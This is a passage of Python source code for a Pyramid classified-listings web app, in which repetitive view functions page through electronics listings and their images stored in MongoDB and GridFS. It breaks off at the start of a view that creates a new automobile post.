electronics_collection_document14_imageE,\n\n 'productID15' : electronics_collection_document15_productID,\n 'username15' : electronics_collection_document15_username,\n 'state15' : electronics_collection_document15_state,\n 'city15' : electronics_collection_document15_city,\n 'description15' : electronics_collection_document15_description,\n 'mobile15' : electronics_collection_document15_mobile,\n 'email15' : electronics_collection_document15_email,\n 'category15' : electronics_collection_document15_category,\n 'condition15': electronics_collection_document15_condition,\n 'image15A' : electronics_collection_document15_imageA,\n 'image15B' : electronics_collection_document15_imageB,\n 'image15C' : electronics_collection_document15_imageC,\n 'image15D': electronics_collection_document15_imageD,\n 'image15E': electronics_collection_document15_imageE,\n }\n\n\n # *************************************************************************************************************\n # ************************************************************************************************************* \n @view_config(route_name='electronics_viewProducts2_page4', renderer='templates/electronics_templates/electronics_viewProducts2_page4.pt')\n def electronics_viewProducts2_page4(self):\n import pymongo\n from pymongo import MongoClient\n import gridfs\n from gridfs import GridFS\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client4 = MongoClient('%s' % connection_string)\n db = client4.spacenetng_database\n\n # Create or open a text based records collection called electronics_text_collection\n text_collection_electronics = db.electronics_text_collection\n\n # Establish gridfs collection connection\n # Creating or getting an electronics gridfs collection called 'electronics_images_collection'\n # (Getting the GridFS object)\n image_collection_electronics = GridFS(db, \"electronics_images_collection\")\n\n # Retrieve document record from database operation\n electronics_collection = text_collection_electronics.find().sort([(\"_id\", pymongo.DESCENDING)]).skip(15).limit(5) #This returns 25 records\n\n # Push documents into a list\n electronics_collection_list = []\n\n for record in electronics_collection:\n electronics_collection_list.append(record)\n\n document16 = electronics_collection_list[0]\n document17 = electronics_collection_list[1]\n document18 = electronics_collection_list[2]\n document19 = electronics_collection_list[3]\n document20 = electronics_collection_list[4]\n\n\n # Extracting images\n # The images for document16\n document16_images_list_rawFile = []\n for image_name in document16[\"Images\"]:\n document16_images_list_rawFile.append(image_collection_electronics.get_last_version(filename=image_name))\n\n # The images for document17\n document17_images_list_rawFile = []\n for image_name in document17[\"Images\"]:\n document17_images_list_rawFile.append(image_collection_electronics.get_last_version(filename=image_name))\n\n # The images for document18\n document18_images_list_rawFile = []\n for image_name in document18[\"Images\"]:\n document18_images_list_rawFile.append(image_collection_electronics.get_last_version(filename=image_name))\n\n # The images for document19\n document19_images_list_rawFile = []\n for image_name in document19[\"Images\"]:\n document19_images_list_rawFile.append(image_collection_electronics.get_last_version(filename=image_name))\n\n # The images for document20\n document20_images_list_rawFile = []\n for image_name in document20[\"Images\"]:\n document20_images_list_rawFile.append(image_collection_electronics.get_last_version(filename=image_name))\n\n\n ##############################################\n # Collecting record from individual documents\n ##############################################\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document16\n #######################\n\n # For the text strings,\n electronics_collection_document16_productID = document16[\"Product ID\"]\n electronics_collection_document16_username = document16[\"Username\"]\n electronics_collection_document16_state = document16[\"State\"]\n electronics_collection_document16_city = document16[\"City\"]\n electronics_collection_document16_description = document16[\"Description\"]\n electronics_collection_document16_mobile = document16[\"Mobile\"]\n electronics_collection_document16_email = document16[\"Email\"]\n electronics_collection_document16_category = document16[\"Category\"]\n electronics_collection_document16_condition = document16[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document16_images_UTF8_list = []\n\n for raw_image in document16_images_list_rawFile:\n document16_binaryImage = raw_image.read()\n document16_base64Image = codecs.encode(document16_binaryImage, 'base64')\n document16_UTF8Image = document16_base64Image.decode('utf-8')\n document16_images_UTF8_list.append(document16_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document16_imageA = document16_images_UTF8_list[0]\n\n try:\n electronics_collection_document16_imageB = document16_images_UTF8_list[1]\n except:\n electronics_collection_document16_imageB = document16_images_UTF8_list[0]\n\n try:\n electronics_collection_document16_imageC = document16_images_UTF8_list[2]\n except:\n electronics_collection_document16_imageC = document16_images_UTF8_list[0]\n\n try:\n electronics_collection_document16_imageD = document16_images_UTF8_list[3]\n except:\n electronics_collection_document16_imageD = document16_images_UTF8_list[0] \n \n try:\n electronics_collection_document16_imageE = document16_images_UTF8_list[4]\n except:\n electronics_collection_document16_imageE = document16_images_UTF8_list[0]\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document17\n #######################\n\n # For the text strings,\n electronics_collection_document17_productID = document17[\"Product ID\"]\n electronics_collection_document17_username = document17[\"Username\"]\n electronics_collection_document17_state = document17[\"State\"]\n electronics_collection_document17_city = document17[\"City\"]\n electronics_collection_document17_description = document17[\"Description\"]\n electronics_collection_document17_mobile = document17[\"Mobile\"]\n electronics_collection_document17_email = document17[\"Email\"]\n electronics_collection_document17_category = document17[\"Category\"]\n electronics_collection_document17_condition = document17[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document17_images_UTF8_list = []\n\n for raw_image in document17_images_list_rawFile:\n document17_binaryImage = raw_image.read()\n document17_base64Image = codecs.encode(document17_binaryImage, 'base64')\n document17_UTF8Image = document17_base64Image.decode('utf-8')\n document17_images_UTF8_list.append(document17_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document17_imageA = document17_images_UTF8_list[0]\n\n try:\n electronics_collection_document17_imageB = document17_images_UTF8_list[1]\n except:\n electronics_collection_document17_imageB = document17_images_UTF8_list[0]\n\n try:\n electronics_collection_document17_imageC = document17_images_UTF8_list[2]\n except:\n electronics_collection_document17_imageC = document17_images_UTF8_list[0]\n\n try:\n electronics_collection_document17_imageD = document17_images_UTF8_list[3]\n except:\n electronics_collection_document17_imageD = document17_images_UTF8_list[0] \n \n try:\n electronics_collection_document17_imageE = document17_images_UTF8_list[4]\n except:\n electronics_collection_document17_imageE = document17_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document18\n #######################\n\n # For the text strings,\n electronics_collection_document18_productID = document18[\"Product ID\"]\n electronics_collection_document18_username = document18[\"Username\"]\n electronics_collection_document18_state = document18[\"State\"]\n electronics_collection_document18_city = document18[\"City\"]\n electronics_collection_document18_description = document18[\"Description\"]\n electronics_collection_document18_mobile = document18[\"Mobile\"]\n electronics_collection_document18_email = document18[\"Email\"]\n electronics_collection_document18_category = document18[\"Category\"]\n electronics_collection_document18_condition = document18[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document18_images_UTF8_list = []\n\n for raw_image in document18_images_list_rawFile:\n document18_binaryImage = raw_image.read()\n document18_base64Image = codecs.encode(document18_binaryImage, 'base64')\n document18_UTF8Image = document18_base64Image.decode('utf-8')\n document18_images_UTF8_list.append(document18_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document18_imageA = document18_images_UTF8_list[0]\n\n try:\n electronics_collection_document18_imageB = document18_images_UTF8_list[1]\n except:\n electronics_collection_document18_imageB = document18_images_UTF8_list[0]\n\n try:\n electronics_collection_document18_imageC = document18_images_UTF8_list[2]\n except:\n electronics_collection_document18_imageC = document18_images_UTF8_list[0]\n\n try:\n electronics_collection_document18_imageD = document18_images_UTF8_list[3]\n except:\n electronics_collection_document18_imageD = document18_images_UTF8_list[0] \n \n try:\n electronics_collection_document18_imageE = document18_images_UTF8_list[4]\n except:\n electronics_collection_document18_imageE = document18_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document19\n #######################\n\n # For the text strings,\n electronics_collection_document19_productID = document19[\"Product ID\"]\n electronics_collection_document19_username = document19[\"Username\"]\n electronics_collection_document19_state = document19[\"State\"]\n electronics_collection_document19_city = document19[\"City\"]\n electronics_collection_document19_description = document19[\"Description\"]\n electronics_collection_document19_mobile = document19[\"Mobile\"]\n electronics_collection_document19_email = document19[\"Email\"]\n electronics_collection_document19_category = document19[\"Category\"]\n electronics_collection_document19_condition = document19[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document19_images_UTF8_list = []\n\n for raw_image in document19_images_list_rawFile:\n document19_binaryImage = raw_image.read()\n document19_base64Image = codecs.encode(document19_binaryImage, 'base64')\n document19_UTF8Image = document19_base64Image.decode('utf-8')\n document19_images_UTF8_list.append(document19_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document19_imageA = document19_images_UTF8_list[0]\n\n try:\n electronics_collection_document19_imageB = document19_images_UTF8_list[1]\n except:\n electronics_collection_document19_imageB = document19_images_UTF8_list[0]\n\n try:\n electronics_collection_document19_imageC = document19_images_UTF8_list[2]\n except:\n electronics_collection_document19_imageC = document19_images_UTF8_list[0]\n\n try:\n electronics_collection_document19_imageD = document19_images_UTF8_list[3]\n except:\n electronics_collection_document19_imageD = document19_images_UTF8_list[0] \n \n try:\n electronics_collection_document19_imageE = document19_images_UTF8_list[4]\n except:\n electronics_collection_document19_imageE = document19_images_UTF8_list[0]\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document20\n #######################\n\n # For the text strings,\n electronics_collection_document20_productID = document20[\"Product ID\"]\n electronics_collection_document20_username = document20[\"Username\"]\n electronics_collection_document20_state = document20[\"State\"]\n electronics_collection_document20_city = document20[\"City\"]\n electronics_collection_document20_description = document20[\"Description\"]\n electronics_collection_document20_mobile = document20[\"Mobile\"]\n electronics_collection_document20_email = document20[\"Email\"]\n electronics_collection_document20_category = document20[\"Category\"]\n electronics_collection_document20_condition = document20[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document20_images_UTF8_list = []\n\n for raw_image in document20_images_list_rawFile:\n document20_binaryImage = raw_image.read()\n document20_base64Image = codecs.encode(document20_binaryImage, 'base64')\n document20_UTF8Image = document20_base64Image.decode('utf-8')\n document20_images_UTF8_list.append(document20_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document20_imageA = document20_images_UTF8_list[0]\n\n try:\n electronics_collection_document20_imageB = document20_images_UTF8_list[1]\n except:\n electronics_collection_document20_imageB = document20_images_UTF8_list[0]\n\n try:\n electronics_collection_document20_imageC = document20_images_UTF8_list[2]\n except:\n electronics_collection_document20_imageC = document20_images_UTF8_list[0]\n\n try:\n electronics_collection_document20_imageD = document20_images_UTF8_list[3]\n except:\n electronics_collection_document20_imageD = document20_images_UTF8_list[0] \n \n try:\n electronics_collection_document20_imageE = document20_images_UTF8_list[4]\n except:\n electronics_collection_document20_imageE = document20_images_UTF8_list[0]\n\n\n # Close our database connection and free up resources.\n client4.close()\n\n # Pack all return variables into a JSON Structure and use for return\n return{\n 'productID16' : electronics_collection_document16_productID,\n 'username16' : electronics_collection_document16_username,\n 'state16' : electronics_collection_document16_state,\n 'city16' : electronics_collection_document16_city,\n 'description16' : electronics_collection_document16_description,\n 'mobile16' : electronics_collection_document16_mobile,\n 'email16' : electronics_collection_document16_email,\n 'category16' : electronics_collection_document16_category,\n 'condition16': electronics_collection_document16_condition,\n 'image16A' : electronics_collection_document16_imageA,\n 'image16B' : electronics_collection_document16_imageB,\n 'image16C' : electronics_collection_document16_imageC,\n 'image16D': electronics_collection_document16_imageD,\n 'image16E': electronics_collection_document16_imageE,\n\n 'productID17' : electronics_collection_document17_productID,\n 'username17' : electronics_collection_document17_username,\n 'state17' : electronics_collection_document17_state,\n 'city17' : electronics_collection_document17_city,\n 'description17' : electronics_collection_document17_description,\n 'mobile17' : electronics_collection_document17_mobile,\n 'email17' : electronics_collection_document17_email,\n 'category17' : electronics_collection_document17_category,\n 'condition17': electronics_collection_document17_condition,\n 'image17A' : electronics_collection_document17_imageA,\n 'image17B' : electronics_collection_document17_imageB,\n 'image17C' : electronics_collection_document17_imageC,\n 'image17D': electronics_collection_document17_imageD,\n 'image17E': electronics_collection_document17_imageE,\n\n 'productID18' : electronics_collection_document18_productID,\n 'username18' : electronics_collection_document18_username,\n 'state18' : electronics_collection_document18_state,\n 'city18' : electronics_collection_document18_city,\n 'description18' : electronics_collection_document18_description,\n 'mobile18' : electronics_collection_document18_mobile,\n 'email18' : electronics_collection_document18_email,\n 'category18' : electronics_collection_document18_category,\n 'condition18': electronics_collection_document18_condition,\n 'image18A' : electronics_collection_document18_imageA,\n 'image18B' : electronics_collection_document18_imageB,\n 'image18C' : electronics_collection_document18_imageC,\n 'image18D': electronics_collection_document18_imageD,\n 'image18E': electronics_collection_document18_imageE,\n\n 'productID19' : electronics_collection_document19_productID,\n 'username19' : electronics_collection_document19_username,\n 'state19' : electronics_collection_document19_state,\n 'city19' : electronics_collection_document19_city,\n 'description19' : electronics_collection_document19_description,\n 'mobile19' : electronics_collection_document19_mobile,\n 'email19' : electronics_collection_document19_email,\n 'category19' : electronics_collection_document19_category,\n 'condition19': electronics_collection_document19_condition,\n 'image19A' : electronics_collection_document19_imageA,\n 'image19B' : electronics_collection_document19_imageB,\n 'image19C' : electronics_collection_document19_imageC,\n 'image19D': electronics_collection_document19_imageD,\n 'image19E': electronics_collection_document19_imageE,\n\n 'productID20' : electronics_collection_document20_productID,\n 'username20' : electronics_collection_document20_username,\n 'state20' : electronics_collection_document20_state,\n 'city20' : electronics_collection_document20_city,\n 'description20' : electronics_collection_document20_description,\n 'mobile20' : electronics_collection_document20_mobile,\n 'email20' : electronics_collection_document20_email,\n 'category20' : electronics_collection_document20_category,\n 'condition20': electronics_collection_document20_condition,\n 'image20A' : electronics_collection_document20_imageA,\n 'image20B' : electronics_collection_document20_imageB,\n 'image20C' : electronics_collection_document20_imageC,\n 'image20D': electronics_collection_document20_imageD,\n 'image20E': electronics_collection_document20_imageE,\n }\n\n\n\n\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(route_name='electronics_viewProducts2_page5', renderer='templates/electronics_templates/electronics_viewProducts2_page5.pt')\n def electronics_viewProducts2_page5(self):\n import pymongo\n from pymongo import MongoClient\n import gridfs\n from gridfs import GridFS\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client5 = MongoClient('%s' % connection_string)\n db = client5.spacenetng_database\n\n # Create or open a text based records collection called electronics_text_collection\n text_collection_electronics = db.electronics_text_collection\n\n # Establish gridfs collection connection\n # Creating or getting an electronics gridfs collection called 'electronics_images_collection'\n # (Getting the GridFS object)\n image_collection_electronics = GridFS(db, \"electronics_images_collection\")\n\n # Retrieve document record from database operation\n electronics_collection = text_collection_electronics.find().sort([(\"_id\", pymongo.DESCENDING)]).skip(20).limit(5) #This returns 25 records\n\n # Push documents into a list\n electronics_collection_list = []\n\n for record in electronics_collection:\n electronics_collection_list.append(record)\n\n document21 = electronics_collection_list[0]\n document22 = electronics_collection_list[1]\n document23 = electronics_collection_list[2]\n document24 = electronics_collection_list[3]\n document25 = electronics_collection_list[4]\n\n\n # Extracting images\n # The images for document21\n document21_images_list_rawFile = []\n for image_name in document21[\"Images\"]:\n document21_images_list_rawFile.append(image_collection_electronics.get_last_version(filename=image_name))\n\n # The images for document22\n document22_images_list_rawFile = []\n for image_name in document22[\"Images\"]:\n document22_images_list_rawFile.append(image_collection_electronics.get_last_version(filename=image_name))\n\n # The images for document23\n document23_images_list_rawFile = []\n for image_name in document23[\"Images\"]:\n document23_images_list_rawFile.append(image_collection_electronics.get_last_version(filename=image_name))\n\n # The images for document24\n document24_images_list_rawFile = []\n for image_name in document24[\"Images\"]:\n document24_images_list_rawFile.append(image_collection_electronics.get_last_version(filename=image_name))\n\n # The images for document25\n document25_images_list_rawFile = []\n for image_name in document25[\"Images\"]:\n document25_images_list_rawFile.append(image_collection_electronics.get_last_version(filename=image_name))\n\n\n ##############################################\n # Collecting record from individual documents\n ##############################################\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document21\n #######################\n\n # For the text strings,\n electronics_collection_document21_productID = document21[\"Product ID\"]\n electronics_collection_document21_username = document21[\"Username\"]\n electronics_collection_document21_state = document21[\"State\"]\n electronics_collection_document21_city = document21[\"City\"]\n electronics_collection_document21_description = document21[\"Description\"]\n electronics_collection_document21_mobile = document21[\"Mobile\"]\n electronics_collection_document21_email = document21[\"Email\"]\n electronics_collection_document21_category = document21[\"Category\"]\n electronics_collection_document21_condition = document21[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document21_images_UTF8_list = []\n\n for raw_image in document21_images_list_rawFile:\n document21_binaryImage = raw_image.read()\n document21_base64Image = codecs.encode(document21_binaryImage, 'base64')\n document21_UTF8Image = document21_base64Image.decode('utf-8')\n document21_images_UTF8_list.append(document21_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document21_imageA = document21_images_UTF8_list[0]\n\n try:\n electronics_collection_document21_imageB = document21_images_UTF8_list[1]\n except:\n electronics_collection_document21_imageB = document21_images_UTF8_list[0]\n\n try:\n electronics_collection_document21_imageC = document21_images_UTF8_list[2]\n except:\n electronics_collection_document21_imageC = document21_images_UTF8_list[0]\n\n try:\n electronics_collection_document21_imageD = document21_images_UTF8_list[3]\n except:\n electronics_collection_document21_imageD = document21_images_UTF8_list[0] \n \n try:\n electronics_collection_document21_imageE = document21_images_UTF8_list[4]\n except:\n electronics_collection_document21_imageE = document21_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document22\n #######################\n\n # For the text strings,\n electronics_collection_document22_productID = document22[\"Product ID\"]\n electronics_collection_document22_username = document22[\"Username\"]\n electronics_collection_document22_state = document22[\"State\"]\n electronics_collection_document22_city = document22[\"City\"]\n electronics_collection_document22_description = document22[\"Description\"]\n electronics_collection_document22_mobile = document22[\"Mobile\"]\n electronics_collection_document22_email = document22[\"Email\"]\n electronics_collection_document22_category = document22[\"Category\"]\n electronics_collection_document22_condition = document22[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document22_images_UTF8_list = []\n\n for raw_image in document22_images_list_rawFile:\n document22_binaryImage = raw_image.read()\n document22_base64Image = codecs.encode(document22_binaryImage, 'base64')\n document22_UTF8Image = document22_base64Image.decode('utf-8')\n document22_images_UTF8_list.append(document22_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document22_imageA = document22_images_UTF8_list[0]\n\n try:\n electronics_collection_document22_imageB = document22_images_UTF8_list[1]\n except:\n electronics_collection_document22_imageB = document22_images_UTF8_list[0]\n\n try:\n electronics_collection_document22_imageC = document22_images_UTF8_list[2]\n except:\n electronics_collection_document22_imageC = document22_images_UTF8_list[0]\n\n try:\n electronics_collection_document22_imageD = document22_images_UTF8_list[3]\n except:\n electronics_collection_document22_imageD = document22_images_UTF8_list[0] \n \n try:\n electronics_collection_document22_imageE = document22_images_UTF8_list[4]\n except:\n electronics_collection_document22_imageE = document22_images_UTF8_list[0]\n\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document23\n #######################\n\n # For the text strings,\n electronics_collection_document23_productID = document23[\"Product ID\"]\n electronics_collection_document23_username = document23[\"Username\"]\n electronics_collection_document23_state = document23[\"State\"]\n electronics_collection_document23_city = document23[\"City\"]\n electronics_collection_document23_description = document23[\"Description\"]\n electronics_collection_document23_mobile = document23[\"Mobile\"]\n electronics_collection_document23_email = document23[\"Email\"]\n electronics_collection_document23_category = document23[\"Category\"]\n electronics_collection_document23_condition = document23[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document23_images_UTF8_list = []\n\n for raw_image in document23_images_list_rawFile:\n document23_binaryImage = raw_image.read()\n document23_base64Image = codecs.encode(document23_binaryImage, 'base64')\n document23_UTF8Image = document23_base64Image.decode('utf-8')\n document23_images_UTF8_list.append(document23_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document23_imageA = document23_images_UTF8_list[0]\n\n try:\n electronics_collection_document23_imageB = document23_images_UTF8_list[1]\n except:\n electronics_collection_document23_imageB = document23_images_UTF8_list[0]\n\n try:\n electronics_collection_document23_imageC = document23_images_UTF8_list[2]\n except:\n electronics_collection_document23_imageC = document23_images_UTF8_list[0]\n\n try:\n electronics_collection_document23_imageD = document23_images_UTF8_list[3]\n except:\n electronics_collection_document23_imageD = document23_images_UTF8_list[0] \n \n try:\n electronics_collection_document23_imageE = document23_images_UTF8_list[4]\n except:\n electronics_collection_document23_imageE = document23_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document24\n #######################\n\n # For the text strings,\n electronics_collection_document24_productID = document24[\"Product ID\"]\n electronics_collection_document24_username = document24[\"Username\"]\n electronics_collection_document24_state = document24[\"State\"]\n electronics_collection_document24_city = document24[\"City\"]\n electronics_collection_document24_description = document24[\"Description\"]\n electronics_collection_document24_mobile = document24[\"Mobile\"]\n electronics_collection_document24_email = document24[\"Email\"]\n electronics_collection_document24_category = document24[\"Category\"]\n electronics_collection_document24_condition = document24[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document24_images_UTF8_list = []\n\n for raw_image in document24_images_list_rawFile:\n document24_binaryImage = raw_image.read()\n document24_base64Image = codecs.encode(document24_binaryImage, 'base64')\n document24_UTF8Image = document24_base64Image.decode('utf-8')\n document24_images_UTF8_list.append(document24_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document24_imageA = document24_images_UTF8_list[0]\n\n try:\n electronics_collection_document24_imageB = document24_images_UTF8_list[1]\n except:\n electronics_collection_document24_imageB = document24_images_UTF8_list[0]\n\n try:\n electronics_collection_document24_imageC = document24_images_UTF8_list[2]\n except:\n electronics_collection_document24_imageC = document24_images_UTF8_list[0]\n\n try:\n electronics_collection_document24_imageD = document24_images_UTF8_list[3]\n except:\n electronics_collection_document24_imageD = document24_images_UTF8_list[0] \n \n try:\n electronics_collection_document24_imageE = document24_images_UTF8_list[4]\n except:\n electronics_collection_document24_imageE = document24_images_UTF8_list[0]\n\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document25\n #######################\n\n # For the text strings,\n electronics_collection_document25_productID = document25[\"Product ID\"]\n electronics_collection_document25_username = document25[\"Username\"]\n electronics_collection_document25_state = document25[\"State\"]\n electronics_collection_document25_city = document25[\"City\"]\n electronics_collection_document25_description = document25[\"Description\"]\n electronics_collection_document25_mobile = document25[\"Mobile\"]\n electronics_collection_document25_email = document25[\"Email\"]\n electronics_collection_document25_category = document25[\"Category\"]\n electronics_collection_document25_condition = document25[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document25_images_UTF8_list = []\n\n for raw_image in document25_images_list_rawFile:\n document25_binaryImage = raw_image.read()\n document25_base64Image = codecs.encode(document25_binaryImage, 'base64')\n document25_UTF8Image = document25_base64Image.decode('utf-8')\n document25_images_UTF8_list.append(document25_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document25_imageA = document25_images_UTF8_list[0]\n\n try:\n electronics_collection_document25_imageB = document25_images_UTF8_list[1]\n except:\n electronics_collection_document25_imageB = document25_images_UTF8_list[0]\n\n try:\n electronics_collection_document25_imageC = document25_images_UTF8_list[2]\n except:\n electronics_collection_document25_imageC = document25_images_UTF8_list[0]\n\n try:\n electronics_collection_document25_imageD = document25_images_UTF8_list[3]\n except:\n electronics_collection_document25_imageD = document25_images_UTF8_list[0] \n \n try:\n electronics_collection_document25_imageE = document25_images_UTF8_list[4]\n except:\n electronics_collection_document25_imageE = document25_images_UTF8_list[0]\n\n # Close our database connection and free up resources.\n client5.close()\n\n # Pack all return variables into a JSON Structure and use for return\n return{\n 'productID21' : electronics_collection_document21_productID,\n 'username21' : electronics_collection_document21_username,\n 'state21' : electronics_collection_document21_state,\n 'city21' : electronics_collection_document21_city,\n 'description21' : electronics_collection_document21_description,\n 'mobile21' : electronics_collection_document21_mobile,\n 'email21' : electronics_collection_document21_email,\n 'category21' : electronics_collection_document21_category,\n 'condition21': electronics_collection_document21_condition,\n 'image21A' : electronics_collection_document21_imageA,\n 'image21B' : electronics_collection_document21_imageB,\n 'image21C' : electronics_collection_document21_imageC,\n 'image21D': electronics_collection_document21_imageD,\n 'image21E': electronics_collection_document21_imageE,\n\n 'productID22' : electronics_collection_document22_productID,\n 'username22' : electronics_collection_document22_username,\n 'state22' : electronics_collection_document22_state,\n 'city22' : electronics_collection_document22_city,\n 'description22' : electronics_collection_document22_description,\n 'mobile22' : electronics_collection_document22_mobile,\n 'email22' : electronics_collection_document22_email,\n 'category22' : electronics_collection_document22_category,\n 'condition22': electronics_collection_document22_condition,\n 'image22A' : electronics_collection_document22_imageA,\n 'image22B' : electronics_collection_document22_imageB,\n 'image22C' : electronics_collection_document22_imageC,\n 'image22D': electronics_collection_document22_imageD,\n 'image22E': electronics_collection_document22_imageE,\n\n 'productID23' : electronics_collection_document23_productID,\n 'username23' : electronics_collection_document23_username,\n 'state23' : electronics_collection_document23_state,\n 'city23' : electronics_collection_document23_city,\n 'description23' : electronics_collection_document23_description,\n 'mobile23' : electronics_collection_document23_mobile,\n 'email23' : electronics_collection_document23_email,\n 'category23' : electronics_collection_document23_category,\n 'condition23': electronics_collection_document23_condition,\n 'image23A' : electronics_collection_document23_imageA,\n 'image23B' : electronics_collection_document23_imageB,\n 'image23C' : electronics_collection_document23_imageC,\n 'image23D': electronics_collection_document23_imageD,\n 'image23E': electronics_collection_document23_imageE,\n\n 'productID24' : electronics_collection_document24_productID,\n 'username24' : electronics_collection_document24_username,\n 'state24' : electronics_collection_document24_state,\n 'city24' : electronics_collection_document24_city,\n 'description24' : electronics_collection_document24_description,\n 'mobile24' : electronics_collection_document24_mobile,\n 'email24' : electronics_collection_document24_email,\n 'category24' : electronics_collection_document24_category,\n 'condition24': electronics_collection_document24_condition,\n 'image24A' : electronics_collection_document24_imageA,\n 'image24B' : electronics_collection_document24_imageB,\n 'image24C' : electronics_collection_document24_imageC,\n 'image24D': electronics_collection_document24_imageD,\n 'image24E': electronics_collection_document24_imageE,\n\n 'productID25' : electronics_collection_document25_productID,\n 'username25' : electronics_collection_document25_username,\n 'state25' : electronics_collection_document25_state,\n 'city25' : electronics_collection_document25_city,\n 'description25' : electronics_collection_document25_description,\n 'mobile25' : electronics_collection_document25_mobile,\n 'email25' : electronics_collection_document25_email,\n 'category25' : electronics_collection_document25_category,\n 'condition25': electronics_collection_document25_condition,\n 'image25A' : electronics_collection_document25_imageA,\n 'image25B' : electronics_collection_document25_imageB,\n 'image25C' : electronics_collection_document25_imageC,\n 'image25D': electronics_collection_document25_imageD,\n 'image25E': electronics_collection_document25_imageE,\n }\n\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n\n\n\n\n\n\n\n\n\n\n\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# AUTOMOBILES VIEWS\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n\n# ########################################################################################################################\n# ########################################################################################################################\n# ########################################################################################################################\n# Create\n@view_defaults(route_name='automobiles_createNewPost')\nclass AutomobilesCreateNewPostViews(object):\n def __init__(self, request):\n self.request = request\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(renderer='templates/automobiles_templates/automobiles_createNewPost.pt')\n def automobiles_createNewPost(self):\n return {}\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n # # Perform operation on query params, send values to the database and give the user a Response after creation \n # of a new post.\n @view_config(request_method='POST', request_param='automobiles_create_submitButton')\n def automobiles_createNewPost_response(self):\n from pyramid.httpexceptions import HTTPFound\n\n # Collect variables from form fields\n # Get text items from form page\n automobiles_create_username = self.request.params['automobiles_create_username']\n automobiles_create_statesList = self.request.params['automobiles_create_statesList']\n automobiles_create_city = self.request.params['automobiles_create_city']\n automobiles_create_textarea = self.request.params['automobiles_create_textarea']\n automobiles_create_mobile = self.request.params['automobiles_create_mobile']\n automobiles_create_email = self.request.params['automobiles_create_email']\n automobiles_create_category = self.request.params['automobiles_create_category']\n automobiles_create_condition = self.request.params['automobiles_create_condition']\n\n # Get images from form page\n automobiles_create_images = self.request.POST.getall('automobiles_create_images')\n\n # Use this for our rest API insertion operation\n automobiles_create_images_names_list = []\n for automobiles_create_image_name in automobiles_create_images:\n 